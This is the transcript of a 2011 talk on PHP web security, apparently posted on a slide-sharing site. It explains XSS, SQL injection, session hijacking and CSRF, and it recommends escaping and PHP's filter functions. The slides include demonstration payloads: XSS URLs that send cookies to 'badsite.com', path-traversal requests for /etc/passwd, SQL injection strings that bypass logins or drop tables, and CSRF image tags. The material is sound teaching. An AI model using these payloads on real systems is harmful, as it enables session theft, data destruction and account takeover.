sydphp security in php

39
Security and PHP February 201

Upload: allan-shone

Post on 19-Jun-2015

1.050 views

Category:

Technology


2 download

DESCRIPTION

Security in PHP talk for SydPHP, Thursday 24th February, 2011

TRANSCRIPT

Page 1: SydPHP Security in PHP

Security and PHP

February 2011

Page 2: SydPHP Security in PHP

Allan Shone

Technical Yahoo!, Local Paranoid @Yahoo!7

Been at Yahoo!7 just under 3 years

[email protected]

Page 3: SydPHP Security in PHP

Website Security

February 2011

Page 4: SydPHP Security in PHP

What is Security?

Why is Security important?

What can you do about it?

Page 5: SydPHP Security in PHP

Types of issues

XSS

SQL Injection

Session Hijacking

CSRF

Phishing

Page 6: SydPHP Security in PHP

Why XSS?

February 2011

Page 7: SydPHP Security in PHP

Lead to larger problems

Used to inject code into your site

Bad people ™ can steal user information

Page 8: SydPHP Security in PHP

http://sydphp.leetbix.com/template.php?load=%3Cscript%3Ealert%280%29;%3C/script%3E

http://sydphp.leetbix.com/template.php?load=%3Cscript%3Edocument.location=%27http://badsite.com%27%3C/script%3E

http://sydphp.leetbix.com/template.php?load=%3Cscript%3Ea%3Ddocument.createElement(%22img%22)%3Ba.src%3D%22http%3A%2F%2Fbadsite.com%2F%3F%22%2Bdocument.cookie%3Bdocument.firstChild.appendChild(a)%3B%3C%2Fscript%3E

February 2011

Page 9: SydPHP Security in PHP

February 2011

Page 10: SydPHP Security in PHP

http://sydphp.leetbix.com/template.php?load=/etc/passwd%00

http://sydphp.leetbix.com/template.php?load=../some-config.conf%00

February 2011

Page 11: SydPHP Security in PHP

POST too

February 2011

Page 12: SydPHP Security in PHP

What do I do?!

February 2011

Page 13: SydPHP Security in PHP

Filter

Simplest solution: htmlentities()

February 2011

Page 14: SydPHP Security in PHP

SQL what?

February 2011

Page 15: SydPHP Security in PHP

Arbitrary SQL code being executed

Bypass login, edit database content

Find passwords, hidden information

Page 16: SydPHP Security in PHP

http://sydphp.leetbix.com/login.php

Password: ‘ OR 1=1 -- ‘

‘ OR 1=1; DROP TABLE users; -- ‘

‘ OR 1=1; UPDATE TABLE users SET password=‘’ WHERE 1=1; -- ‘

February 2011

Page 17: SydPHP Security in PHP

Oh no!

February 2011

Page 18: SydPHP Security in PHP

http://xkcd.com/327/

February 2011

Page 19: SydPHP Security in PHP

escape

February 2011

Page 20: SydPHP Security in PHP

mysql_real_escape_string()

addslashes()

PDO

PDO::quote()

Page 21: SydPHP Security in PHP

Session hijacking

February 2011

Page 22: SydPHP Security in PHP

Bad for users

Bad for data integrity

Easy to prevent

Page 23: SydPHP Security in PHP

Not stand-alone

February 2011

Page 24: SydPHP Security in PHP

Cookies

February 2011

Page 25: SydPHP Security in PHP

Integrity checking

February 2011

Page 26: SydPHP Security in PHP

CSRF? Sugar?

February 2011

Page 27: SydPHP Security in PHP

Cross-site request forgery

February 2011

Page 28: SydPHP Security in PHP

Simple, but un-common

February 2011

Page 29: SydPHP Security in PHP

<img src=“http://othersite.com/changepasswd?new=onlyIKnow” />

<script>a=document.createElement(‘img’);a.src=‘http://badsite../’;document.firstChild.appendChild(a);a.src=‘http://badsite.com/otherpage’;</script>

February 2011

Page 30: SydPHP Security in PHP

Integrity, integrity

February 2011

Page 31: SydPHP Security in PHP

Phishing!

February 2011

Page 32: SydPHP Security in PHP

Same, but different?

February 2011

Page 33: SydPHP Security in PHP

But what can you do

February 2011

Page 34: SydPHP Security in PHP

PHP’s filter functions

February 2011

Page 35: SydPHP Security in PHP

filter_has_var

filter_id

filter_input_array

filter_input

filter_list

filter_var_array

filter_var

Page 36: SydPHP Security in PHP

No more SuperGlobals

February 2011

Page 37: SydPHP Security in PHP

$search = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);

echo ”<h3>No results found for ‘{$search}’.</h3>";

echo "<a href='?search=$search&page=2'>Next page</a>";

February 2011

Page 38: SydPHP Security in PHP

INPUT_GET

INPUT_POST

INPUT_COOKIE

INPUT_SERVER

INPUT_ENV

February 2011

Page 39: SydPHP Security in PHP

Twitter

Allan Shone - @cerealboyJared Mooring - @jadzor

Filter function filters: http://au2.php.net/manual/en/filter.filters.php

February 2011